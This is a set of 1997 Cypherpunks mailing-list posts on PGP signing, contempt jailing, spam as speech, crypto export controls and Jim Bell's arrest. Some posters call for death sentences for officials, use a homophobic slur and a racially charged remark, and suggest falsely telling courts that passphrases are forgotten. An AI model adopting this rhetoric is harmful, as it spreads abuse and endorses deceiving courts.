I'm not saying that signatures are not a Good Thing. Indeed, if I ever get
a version of PGP or S/MIME adequately integrated with my OS and Eudora Pro,
I may (or may not) start auto-signing all e-mail. (Gulp.)

(Oh, please don't barrage me with suggestions. I had two helpful suggetions
for "Pegasus Mail," ignoring the fairly well-known fact that I'm a Mac
user, not a Windows/NT user, and other suggestions about other products.
Puh-leese.)

What I'm saying is that signatures may be handing prosecutors too powerful
a tool to prosecute unpopular speech. Something to think about.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tzeruch at ceddec.com  Thu May 22 10:39:29 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Fri, 23 May 1997 01:39:29 +0800
Subject: Compelling a key (fwd)
Message-ID: <97May22.131535edt.32257-1@brickwall.ceddec.com>


Why does everyone still have cypherpunks at toad.com in their Cc: list, or
how can I get it to work so I don't have to edit the headers (back to the
procmail manual...)

---------- Forwarded message ----------
Date: Thu, 22 May 1997 13:17:04 -0400 (EDT)
From: tzeruch at ceddec.com
To: Tim May 
Cc: Jim Choate , cypherpunks at toad.com
Subject: Re: Compelling a key (fwd)

On Wed, 21 May 1997, Tim May wrote:

> At 4:45 PM -0800 5/21/97, Jim Choate wrote:
> 
> >> In practice, I think the Washington, D.C. doctor, Elizabeth X, the woman
> >> who refused to say where her children were, was held for about 2 years, and
> >> that this was the all-time record for a contempt case. She was ultimately
> >> released when the court concluded she had no intention of cooperating.
> >
> >Exactly! It is ENTIRELY up to the individual judge who issued the contempt
> >citation. If they are pissed enough 2 years will be nothing. As far as I
> >have been able to find there are NO statutes, other than that of a statute
> >of limitation for a particular type of crime, that limit how long you can
> >sit in jail on contempt.

One correction.  She was released by a special law passed by the house of
representatives after a media blitz about her case.  The law only let her
go and did not generally limit the period of time people could be held in
contempt.  It was not the judge, but a legislature trying to quell some
outcry without doing any real reform








From rah at shipwright.com  Thu May 22 10:40:11 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 23 May 1997 01:40:11 +0800
Subject: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: <199705221337.OAA00948@server.test.net>
Message-ID: 


At 10:13 am -0400 on 5/22/97, Willaim H. Geiger III wrote:


> Bullshit! No metering of accounts is required. All that needs to be done
> is blocking of all mail from Spamford's sites.

As someone who has something on the order of 15 Eudora filters just for
Spamford himself (go take a look at whois for cyberpromo to see how domains
he has registered), this is easier said than done. I've taken to killing
his ip blocks, but that gets a lot of sites, TidBITS among them, in the
crossfire. You end up filtering *in* people who you want to see mail from,
which is an interesting logical conundrum...

I'm in favor of creating digital bearer certificate postage stamps, myself.
Don't care who sends me unsolicited e-mail, as long as they have to pay,
preferrably through the nose, for the privilege...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From tcmay at got.net  Thu May 22 10:44:04 1997
From: tcmay at got.net (Tim May)
Date: Fri, 23 May 1997 01:44:04 +0800
Subject: Forgeries are your Friend
In-Reply-To: 
Message-ID: 


At 8:52 AM -0800 5/22/97, Mark Grant wrote:

>There's also something to be said for PGP-signing all your innocuous
>posts; that could give you a greater potential for denial if you had a
>history of signing and the 'dangerous' posts were unsigned.
>

I'm of course most worried that what I think of as my most basic
expressions of opinion would be treated by The Adversary as being
"dangerous."

Thus, my point about routinely signing posts stands.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tzeruch at ceddec.com  Thu May 22 10:47:58 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Fri, 23 May 1997 01:47:58 +0800
Subject: Compelling a key (fwd)
In-Reply-To: 
Message-ID: <97May22.131409edt.32257-1@brickwall.ceddec.com>


On Wed, 21 May 1997, Tim May wrote:

> At 4:45 PM -0800 5/21/97, Jim Choate wrote:
> 
> >> In practice, I think the Washington, D.C. doctor, Elizabeth X, the woman
> >> who refused to say where her children were, was held for about 2 years, and
> >> that this was the all-time record for a contempt case. She was ultimately
> >> released when the court concluded she had no intention of cooperating.
> >
> >Exactly! It is ENTIRELY up to the individual judge who issued the contempt
> >citation. If they are pissed enough 2 years will be nothing. As far as I
> >have been able to find there are NO statutes, other than that of a statute
> >of limitation for a particular type of crime, that limit how long you can
> >sit in jail on contempt.

One correction.  She was released by a special law passed by the house of
representatives after a media blitz about her case.  The law only let her
go and did not generally limit the period of time people could be held in
contempt.  It was not the judge, but a legislature trying to quell some
outcry without doing any real reform







From tcmay at got.net  Thu May 22 10:48:48 1997
From: tcmay at got.net (Tim May)
Date: Fri, 23 May 1997 01:48:48 +0800
Subject: Justice for the Murderers of Donald Scott
In-Reply-To: <199705221512.IAA01747@sirius.infonex.com>
Message-ID: 


At 8:12 AM -0800 5/22/97, WinSock Remailer wrote:

>The interesting thing is that the envirocrats wanted the land, and the
>sheriff (who is, BTW, not in jail) got an appraisal on it BEFORE the
>raid. This case, and not Ruby Ridge, Waco, or The Reichsta...um..
>OK City, radicalized me. This man (Donald Scott) did NOTHING to
>deserve his murder, and the crooks who killed him deserve death.

Indeed. If found guilty of murder, the penalty is death. The official
courts appear completely unwilling to prosecute cops for real crimes like
this (notice that they tried the Rodney King "assailants" a _second_ time
because they didn't like the verdict the first jury rendered...so much for
"double jeapardy" in any reasonable sense). The murderers of Donald Scott
have not even been charged, a few years after the incident, while a
crackhead like Rodney King gets a multimillion dollar settlement...I guess
the key is that the white neighbors of Donald Scott did not go on a looting
and burning rampage in Malibu.

Being that I'm a reasonable man, I would be willing to settle for an
outcome in which the dozen ninja raiders each received a 2nd degree murder
conviction...manslaughter, depraved indifference, the usual buzzwords. They
were, after all, "just good Germans." A nice long prison term for each of
them. However, the Sheriff and any other co-conspirators who ordered the
raid, apparently with visions of getting a cut of the bounty on the
property, would be the one(s) to send to the gallows (or gas chamber, being
that this is enlightened Kalifornia).

>Yes, and buy components. These will be outlawed before they go for
>guns as such, in the hope that wear and tear will do their grab for them.
>

As a footnote to this, an indoor range/store I use (not necessarily the one
in Watsonville, in case anyone in Authority is reading this and plans to
hassle my friends there) let me know on my last buying spree there that
investigators for the BATF and/or other agencies were nosing around their
store and asking to see lists of those who had been buying "paramilitary"
supplies. The guy who told me this said his store refused to cooperate.

Take this as a warning that the Government is extra-legally compiling
dossiers and data bases on those making perfectly legal purchases for which
no permission or identification is required. (Neither ammunition nor
components--except perhaps black powder--require any form of identification
or notification to the government.)

The BATF is apparently compiling lists just like the Red Squads did (and
still do).

The balloon is about to go up.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From mark at unicorn.com  Thu May 22 10:49:37 1997
From: mark at unicorn.com (Mark Grant)
Date: Fri, 23 May 1997 01:49:37 +0800
Subject: Forgeries are your Friend
In-Reply-To: 
Message-ID: 



On Thu, 22 May 1997, Tim May wrote:

> Thus, my point about routinely signing posts stands.

Sure, I was talking in general; my point only applies to those who make
more 'government approved' posts than 'dangerous' ones. Of course there's
still no guarantee that next year I won't be presented with an old signed
post about something which was innocuous and is now hideously illegal.

On the subject of deniability perhaps we should all publically state that
we've forgotten the passphrase to some of the encrypted files we have
lying around and see if that works in court if we ever end up there. I
know I have a couple of secret keys whose passphrases I've forgotten and
had a few files which I may have deleted.

	Mark







From rah at shipwright.com  Thu May 22 10:50:13 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 23 May 1997 01:50:13 +0800
Subject: from BoS: News about Sun and Elvis+
Message-ID: 


>From the "other shoe" department...

Cheers,
Bob Hettinga

--- begin forwarded text


X-Authentication-Warning: jekyll.piermont.com: [[UNIX: localhost]] didn't
use HELO protocol
To: cryptography at c2.net
Subject: from BoS: News about Sun and Elvis+
Date: Thu, 22 May 1997 12:58:06 -0400
From: "Perry E. Metzger" 
Sender: owner-cryptography at c2.net


I thought this would be of interest.

------- Forwarded Message

From: "Judas, Roland" 
Date: Thu, 22 May 1997 09:36:44 +0100
To: best-of-security at suburbia.net
Subject: BoS: News about Sun and Elvis


- ---  White House Reviews Sun's Encryption Initiative  ---
By John Fontana, Communications Week

WASHINGTON-The Clinton administration said it is reviewing the
relationship between Sun Microsystems and a Russian  company that
produces a strong encryption product, which  Sun is licensing for
worldwide distribution.
The White House issued a statement last night, saying, "We  are
reviewing our regulatory posture with Sun to ensure that  their
arrangement with the Russian encryption company is in  compliance with
U.S. export controls."
The Department of  Commerce, which is responsible for export
regulations on strong encryption, stressed that the administration was
 reviewing the relationship and not conducting an  investigation, a
spokesman said.
Last week, Sun, in Mountain View, Calif., told Communications Week
that it had licensed an encryption product from Moscow, Russia-based
Elvis+ Co., which offers 128-bit keys and would resell it  worldwide
under the name PC Sunscreen SKIP Elvis+. Sun  has approximately a 10
percent equity stake in Elvis+, whose product is based on Sun's Simple
Key Management for IP  (SKIP) protocol. The specification was
published nearly two  years ago.
Humphrey Polanen, general manager of Sun's security and  electronic
commerce group, was confident the government  would find Sun "in full
compliance with the letter of the law."  He said a key factor was that
Sun offered no technical  assistance in the development of the
software.
U.S. law bars the export of encryption over 56 bits without
 government approval. Companies seeking to export 56-bit  products
must also have a system in place within two years  for key recovery.
Netscape Communications, also of Mountain View, has followed that path
with its  browser software, but Sun has neither government approval
 nor a method to recover keys. The administration wants access to keys
in cases of criminal investigations. It is  concerned that strong
encryption products could fall into the hands of terrorists, even
though similar products are  available from nearly 30 foreign
companies.
The statement from the White House also said it had not  evaluated the
product and could not comment on it.
If found in violation of export controls, Sun could face civil  and/or
criminal penalties. Criminal penalties, which would be  handed out by
the Justice Department, could mean Sun  executive officers would spend
time in a federal prison. At press time, Sun had not seen the
announcement and would  not comment.
"The administration may have to go after Sun to protect the  integrity
of its policy," said Marc Rotenberg, the director of  the Electronic
Privacy Information Center. "You might see the  ,Zimmerman effect,'
which would be tremendous public sympathy."
Rotenberg is referring to Phillip Zimmerman, who won a  battle with
the government over his Pretty Good Privacy  encryption product, which
was distributed free over the  Internet.
"The White House is at risk by going after a U.S. company  for making
a good product," Rotenberg said. "This is one  more reason to think
the administration's cryptography policy  is not long for this
world."
Three bills attacking the administration's policy are being  discussed
on Capitol Hill, but only one, the Security and  Freedom through
Encryption Act, has made it out of  committee. The bill, which was
authored by Rep. Bob Goodlatte (R-Va), would prohibit mandatory key
recovery.
President Clinton is opposed to the bill in its current form.


------- End of Forwarded Message

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From dlv at bwalk.dm.com  Thu May 22 10:50:35 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 23 May 1997 01:50:35 +0800
Subject: Jim Bell accused of "spamming"
Message-ID: 


I find it symptomatic that the enemies of free speech use "spam" as a generic
term for any kind of speech they don't like.

I don't think the following piece needs much commentary, but it probably will.

Path: altavista!news1.digital.com!uunet!in1.uu.net!192.108.254.3!news.teleport
xtm!kelly.teleport.com!jh
From: Jack Hammer 
Newsgroups: or.politics,wash.politics,alt.rush-limbaugh,alt.fan.tom-leykis
Subject: IRS SAYS INTERNET SPAMMER SABOTEUR (fwd)
Date: Wed, 21 May 1997 17:15:35 -0700
Organization: Teleport - Portland's Public Access (503) 220-1016
Lines: 155
Message-ID: 
NNTP-Posting-Host: kelly.teleport.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Xref: altavista or.politics:25633 alt.rush-limbaugh:79911 alt.fan.tom-leykis:5
xt


Subject: IRS SAYS INTERNET SPAMMER SABOTEUR


Government affidavit says an Internet author plotted to sabotage an
Oregon 9-1-1 computer and poison city water with botulism. 

VANCOUVER, Wash.- Is there any truth to the rumour that Assassination
Politics (AP) author Jim Bell, who was arrested here Friday by the
Internal Revenue Service, plotted with Portland, Oregon 9-1-1 overseer
Greg Daly to poison the Bull Run resevoir with botulism made from green
beans, and shut down the 9-1-1 emergency center's computers by dumping
carbon fibers into the air vents?

The IRS is accusing Vancouver resident James Dalton Bell, 38, of
conspiring to overthrow the U.S. government. He appeared Monday afternoon
in U.S. Distict Court in Tacoma and was accused in an 18-page affidavit.

AP is a Murder Inc. like plot about a risk-free way of rewarding assassins
through a lottery. 

Bell was seen frequenting local Libertarian functions and a so-called
common law court. The murder conspiracy was applauded by some high ranking
Libertarians.
 
The plot has circulated widely on the Internet. An April search
warrant accused Bell of directly soliciting others to murder. AP would
supposedly protect the identity of the murderers. 

The strategy, which Bell says he wrote and posted solely for speculation, 
involves uses of encryption to predict and confirm assassinations 
and electronic digital cash to pay for the gruesome killings. 

Criticism of AP predicted a reign of anarchy and terror should the plan be
allowed to develop. Bell responded to criticism personally and with
vehemence.

Federal agents raided Bell's Vancouver home April 1 and then accused him
of obstructing government officers, and employees, and using false Social
Security numbers. Bell is far more dangerous than the charges suggest, the
affidavit filed by IRS Inspector Phillip G. Scoff said.

Scott's affidavit said Bell, who has a chemistry degree from the
Massachusetts Institute of Technology, had discussions about using carbon
fiber particles to attack computer systems with Greg Daly, a friend who is
an electronics specialist overseeing Portland's 9-1-1 communications
center. 

"Daly stated that he and Bell had 'laughed' about attacking the 9-1-1 
center with the fiber," the affidavit said.

The affidavit went on to say that Daly also told IRS agents that he had 
hypothetical discussions with Bell about contaminating water supplies 
and about making the botulism virus from green beans. 

In the April 17 and 18 intertiews with IRS agents, Daly admitted he
had keys to Portland's pristine alpine watershed and direct access to 
the Portland water treatment facilities.

Daly tried to defend himself Monday by saying that the conversations he
and Bell had were "merely intellectual fun-and-games discussions" between
old friends who enjoy technical things. 

But Daly also described his friend of 15 years as  "bit of an odd unit".

And during the interview Daly appeared to crack and turn state's 
evidence when Daly offered to "rat (Bell) out in a heartbeat."

The investigation had been expanding Thursday when IRS agents searched the
home of another friend of Bell's, merchant marine radio man Robert East.
Among items seized in the East address raid was a three foot length of
carbon fiber. 

The IRS affidavit reported that East told agents he and Bell had discussed 
"the possibility of putting the fibers down the air vents of a federal 
building" to its computers and about using the fiber against the IRS.

Bell was recently published in The Oregonian daily newspaper where he
appeared to avoid an explanation of his plan, writing mostly of what he
predicted would be AP's positive impact. 

Bell did not say in the article how exactly AP would be implemented, who
could be killed by it or even why it was called Assassination Politics.

But the Internet version, repetively posted for more than a year on 
libertarian e-mail lists and newsgroups, revealed a darker vision. Some 
recipients of Bell's complained of the excessive "spamming", others of 
AP's ethical lapses.

The Oregonian seemed to accept Bell's story without question, and Bell's
idea was defended by some Libertarians. 

Responding to the arrest, Tonie Nathan, the first woman and only
Libertarian to receive an electoral vote for Vice President, appeared to
endorse Bell's assassination plan. 

"I find them basically rational, mind-opening, intellectually
stimulating," she wrote Tuesday. She went on to say that AP "should be
considered." 

Found inside what the IRS reports was Bell's car were documents from the
Multnomah County Common Law Court (MCCLC), a group that elects themselves
the case judges and purports to administer "common law." 

Bell was seen at a court meeting held in a Portland pizza parlour back in
February. Bell has denied ownership of the car. 

The self-appointed court met in an all-you-can-eat buffet where it put
Attorney General Janet Reno, IRS Commisssioner Margaret Richardson and
other IRS officials on trial. 

The mock trial was the result of a complaint by Oregon resident Louis
Wispell, one of the MCCLC "Justices." 

It has been observed in this "court"  that complainants can select their
judges from the buffet line, some who confessed to stealing food, having
snuck past the cashier on the pretense of being on the camera crew. 

The judges have also been observed to switch places with complainants in
other meetings of the MCCLC in trhe basement of a Russian church.

The MCCLC has recently been in the news in regards to charges of its
clerk, Richard Lancial, and his son, Thor Lancial, of simulating court
process. 

Charles Bruce Stewart is the Chief Justice of that court and also the
owner of an e-mail list, nwlibertarians at teleport.com, on which Bell posted
much of his material.

Stewart insists his court is constitutional.

The IRS says Bell has a history of tax disputes with them and reportedly
has a large, outstanding, unpaid balance. 

Friday was set for Bell's detention and preliminary hearing. The
government has asked that Bell be held without ball because he is a danger
to the community, and reportedly is seeking a grand Jury indictment. 

                         From your friend,
                         Your best friend,
                         Your only friend,
                            Jack Hammer
 
                                 ;-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From tzeruch at ceddec.com  Thu May 22 10:58:07 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Fri, 23 May 1997 01:58:07 +0800
Subject: Change, the Internet, and Government (was Cypherpunk criminalization)
In-Reply-To: <19970521231024.42348@bywater.songbird.com>
Message-ID: <97May22.134616edt.32257-1@brickwall.ceddec.com>


On Thu, 22 May 1997, Kent Crispin wrote:

> On Wed, May 21, 1997 at 07:16:03PM -0800, Tim May wrote:
> > At 5:41 PM -0800 5/21/97, Kent Crispin wrote:
> 
> [...]
> 
> > But more rules need to change. Many of us (most of us?) expect strong
> > crypto to be a catalyst for some major changes. You, Kent, obviously
> > disagree,
> 
> Yep.  I disagree.

Strong crypto is one facet of the internet.  I can now form a group with
people around the world (like the volunteer organizations DeToqueville
speaks of which organize to solve problems).  Data can now flow across
national borders.  Things like prices and ideas are data.  Even money is
to a large extent data.  When government begins trying to take action to
prevent data from flowing, it will simply be hidden from them.  It is one
mechanism for routing around "faults", though I don't think the designers 
of the internet considered taxation and censorship as faults.

Strong crypto by itself won't change anything.  Worldwide communication
that can be both point-to-point and broadcast already is changing quite a
lot of things.  When that needs to be, or even if it would just help to be
completely private or authentic strong crypto comes in. 

The steam engine changed very little except to remove water from coal
mines.  The production line and railroads had a greater impact.
In the same sense, PK systems were invented long ago and were a mere
curiosity.  Strong crypto won't catalyze any major change, but worldwide
private and authentic communications will.

> > and push for more government involvement to shore up the existing
> > rules.
> 
> False.  How *do* you come up with these?

To continue on a more general level:  Going back to "Economics in one
Lesson" - one restriction invariably leads to another.  Rent controls keep
down prices.  So Landlords cannot maintain their buildings, so slumlord
laws are passed to try to force them to keep them open.  No buildings get
built so new subsidies have to be given to build rent-controlled
buildings.  People who live there will stay even when their income goes up
so more laws to means test must be passed.  So people hide their assets to
qualify so financial disclosure laws have to be added.  At each level, the
restriction needs several more restrictions to work.  (I think Hazlit uses
tariffs or food subsidies to illustrate it, but you can use almost
anything). 

Everytime government passes an illegitimate restriction, it starts a race
between those seeking to evade it and the lawgivers who have to close
the loopholes or increase enforcement.

But to close the circle, the internet is much faster than government ever
can be.







From tcmay at got.net  Thu May 22 10:58:33 1997
From: tcmay at got.net (Tim May)
Date: Fri, 23 May 1997 01:58:33 +0800
Subject: Addresses for posts
In-Reply-To: <97May22.131535edt.32257-1@brickwall.ceddec.com>
Message-ID: 


At 9:18 AM -0800 5/22/97, tzeruch at ceddec.com wrote:
>Why does everyone still have cypherpunks at toad.com in their Cc: list, or
>how can I get it to work so I don't have to edit the headers (back to the
>procmail manual...)

You quoted my post, and I have usually been one to take the extra time to
change "cypherpunks at toad.com" to either "cypherpunks at algebra.com" or
"cypherpunks at cyberpass.net". Sorry that I did not in this particular case.

All three addresses will work, though it is unknown how long the toad.com
version will continue to work...I assume we'll get some warning if John
decides to stop sending the messages on.

There is also an "ssz.net" address that may also work, which Jim Choate
uses (and runs).

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From mpd at netcom.com  Thu May 22 11:09:59 1997
From: mpd at netcom.com (Mike Duvos)
Date: Fri, 23 May 1997 02:09:59 +0800
Subject: Jim Bell accused of "spamming"
In-Reply-To: 
Message-ID: <199705221753.KAA13412@netcom10.netcom.com>


Dr. Dimitri Vulis writes:

: The IRS is accusing Vancouver resident James Dalton Bell, 38, of
: conspiring to overthrow the U.S. government. He appeared Monday afternoon
: in U.S. Distict Court in Tacoma and was accused in an 18-page affidavit. 

Since when was the IRS charged with enforcing the sedition laws?

Will the CIA now be collecting our taxes?

I still haven't heard any behavior on Bell's part described which would
constitute a crime under any applicable statue.  

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd at netcom.com     $    via Finger.                      $






From sunder at brainlink.com  Thu May 22 11:39:20 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Fri, 23 May 1997 02:39:20 +0800
Subject: Western Union & IRS
Message-ID: 


I donno if this is news or not, but having just visited one of these 
places, I noticed prominently place warning signs that transfers over $3K 
are reported to the IRS including your SSN, effective May 28 of this year 
or something...

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder at sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From attila at primenet.com  Thu May 22 11:43:12 1997
From: attila at primenet.com (Attila T. Hun)
Date: Fri, 23 May 1997 02:43:12 +0800
Subject: Wine Politics Again!
In-Reply-To: <19970520231014.03100@bywater.songbird.com>
Message-ID: <199705221828.MAA22184@infowest.com>


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970520:2310 Kent Crispin  expostulated:

+On Tue, May 20, 1997 at 04:46:08PM +0000, Attila T. Hun wrote:

+>    government is its own end:  power corrupts, and absolute power 
+>    corrupts absolutely.  hasn't changed yet in history.  even the 
+>    greats, Solomon, David, etc. fell prey to the siren song of power;
+>    why should far more inferior men like Bubba, who has absolutely 
+>    nothing to his credit except deceit, be exempt?

+"Power corrupts..." isn't a property of governments, it is a property 
+of individual human beings.

    aw, come on, Kent --you remind me of the faggots dancing around
    Harvard Square in 1960 when TOCSIN was in its heyday before it
    became SANE.   

    jocks used to go down there on Saturday mornings to bait them
    into attacking so the Irish cops could bust them.  some peaceniks
    managed to be rather violent with their placards.

    If you have not figured it out --government is the *enabler*
    to corrupt absolute power.

    I just love idealistic peaceniks, the better ones taste just like 
    chicken.

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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From paul at fatmans.demon.co.uk  Thu May 22 11:49:15 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Fri, 23 May 1997 02:49:15 +0800
Subject: Spam IS Free Speech
In-Reply-To: <3.0.1.32.19970521144153.00ac47e0@labg30>
Message-ID: 




> Are you telling me that being subjected to a jack-boot investigation for
> running pyramid schemes *and* having your customers leave because they
> can't get mail services is a reasonable expense to bear because of
> Spamford's "right to free speech"?  Spamford's speech (or that of his
> "customers") isn't even directed at the sendmail operator or his customers.
>  The sendmail operator above is merely being used by Spamford as a
> megaphone to broadcast the message of spam to other people (who really
> don't want it, either, but that's beside the point.)

You have argued my point for me, if operators took more security 
precautions like authentication protocols this sort of abuse of mail 
servers would not occur. If spamford had to send the spam from his own 
domains with his address on them he would get the retaliation.
Technology is the way to protect against actions like this, not ethical 
arguments.

> It's no longer the same as shouting down the marketing researcher.  

To some extent I agree, but it isn`t really the same in the first place, 
it was just a vaguely similar situation, in that the market researcher 
cannot pretend to come from somewhere else so I will not shout at a 
innocent bystander. 

> What Spamford has done is to see me walking down the sidewalk carrying a
> megaphone, and grab me and tell me that I must stand there and hold my
> megaphone in front of some spammer's mouth while the spammer shouts at a
> crowd of people who don't want to hear him.  

Exactly, solution? - refuse the megaphone. Protect your mail servers.

> All the while, you stand there
> next to Spamford and claim that I must continue to hold my megaphone for
> the spammer because it's his "right to free speech", and the only way to
> avoid it is to turn my megaphone off, denying me the ability to allow
> anyone else to use my megaphone.

Spamford has a right to send whatever traffic he wants to your servers, 
if that includes false routed spam mails so be it, you have to protect 
yourself. I don`t claim that anyone has to leave their servers insecure 
so spamford can speak through them, but if you leave them open he does 
have a right to route through them. If you don`t want this, secure them.

> The icing on this cake is that if the spammer starts announcing "Make Money
> Fast" over my megaphone, the FBI will come and investigate ME because I'm
> the one holding the megaphone!

This is a fault of the FBI and not of the spammer.

> Free speech is NOT the subject here.  My right to walk down the street with
> my (lawfully registered) megaphone has been usurped by a thug.  You're
> telling me that every megaphone owner has a *duty* to hold it in front of
> every spammer's mouth.  

No, I`m saying if he holds it in front of their mouth he has to expect 
them to speak.

> Remember, these are finite megaphones.  They have batteries that
> need replacing, and the owners are stuck standing there holding them while
> the spammers speak as long as they want.  Sorry, but those megaphone owners
> may have other things to do with their megaphones and their time.  You're
> confusing "the right to free speech" with "the right to kidnap megaphone
> owners".

You are forgetting the 998348934th ammendment of the US constitution:

Congress shall make no law infringing the right of the people to kidnap 
megaphone owners...

Seriously though, you make the comment earlier that listening to speech 
costs nothing because you can walk away, the internet is the same. If you 
don`t like getting mail from someone, killfile them, tell them to stop, 
change your address, get off the internet. You have a number of options, 
it may seem that your percieved "right" to have someone not send you mail 
is being infringed and you are being forced to get off the internet or 
change addresses, but this is really not necessary if you can handle a 
killfile. This is like when people talk about their percieved "right" to 
walk down the street without being mugged, they have no such right, it is 
simply that the default case is for them to not be mugged, and if they 
are mugged this constitutes a violation of their property rights.

> In this particular case, of course, there was a technical solution:
> install a sendmail to prevent routing of incoming mail.  ISPs and
> corporations around the globe will need this new hardened sendmail to keep
> the spammers away.  Restricting the speech they carry.  Turning off the
> megaphones.
> 
> Spam is interfering with the *real* victim's (the sendmail operator's)
> ability to provide customer service; in a very real and fiscally damaging
> way.  It's also restricting the traffic he can carry to only that speech
> originating from
> his domain.  His right to carry YOUR speech has been restricted by his
> technical solution to keep his machine alive.

This is not really a restriction, they have the choice: carry the spam or 
kill the other mail altogether. No-one is forcing them to take either 
course of action, sure it`s a sad case of affairs when we have to take 
technological action against people for using others equipment in 
unpleasant ways, but it`s simply the way things are.

> What is ultimately likely to happen, however, is that Mr. Wallace will be
> prosecuted under existing laws for swindling the original MMF spammers.
> He's profiting by charging them to steal resources from ISPs.  He *might*
> be able to avoid prosecution by putting a "warning sticker" on his
> advertising saying something to the effect that, "if you send a Make Money
> Fast scam out, the jack-booted thugs will come and haul you away faster
> than I can send out your e-mails."  But then he'd have no business at all!

Wallace may be prosecuted, I think it would be wrong if he was. Even if 
you believe that Wallace does something that is unethical you must admit 
that if he were succesfully prosecuted it would send the message that a 
form of speech can be legislated against and prosecuted in court.

> I'm not trying to claim that Mr. Wallace does or does not have the right to
> speak to us.  I simply want to point out that there is real monetary loss
> to the real victims of his spamming.

Yes, but they can prevent this monetary loss. To give another flawed but 
illustrative paradigm you might come up to me in the street and say "give 
me your money", if I refuse and you hit me and take my money you have mugged 
me, if I refuse and continue walking, and you take no violent action against
me, you have done nothing wrong.

I admit what Wallace does is unpleasant, but it is not immoral or 
unethical from my point of view. If you could not prevent the monetary 
loss caused by his speech then I would think differently, but you can, 
and that is the bottom line.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From whgiii at amaranth.com  Thu May 22 12:06:23 1997
From: whgiii at amaranth.com (Willaim H. Geiger III)
Date: Fri, 23 May 1997 03:06:23 +0800
Subject: Jim Bell accused of "spamming"
In-Reply-To: <199705221753.KAA13412@netcom10.netcom.com>
Message-ID: <199705221850.NAA17771@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In <199705221753.KAA13412 at netcom10.netcom.com>, on 05/22/97 
   at 11:53 AM, mpd at netcom.com (Mike Duvos) said:

>Dr. Dimitri Vulis writes:

>: The IRS is accusing Vancouver resident James Dalton Bell, 38, of
>: conspiring to overthrow the U.S. government. He appeared Monday afternoon
>: in U.S. Distict Court in Tacoma and was accused in an 18-page affidavit. 

>Since when was the IRS charged with enforcing the sedition laws?

>Will the CIA now be collecting our taxes?

>I still haven't heard any behavior on Bell's part described which would
>constitute a crime under any applicable statue.  

Poltitical desent has long been a crime here. Just ask anyone involved in
the Anti-abortion movement, member of a militia, drug legalization
movement, medical use of marajunia movement, member of any other
"politically incorrect" movement.

The federal government needs a serious wake-up call. Unfortunatly the
sheeple can't seem to find the number. :(

- -- 
- -----------------------------------------------------------
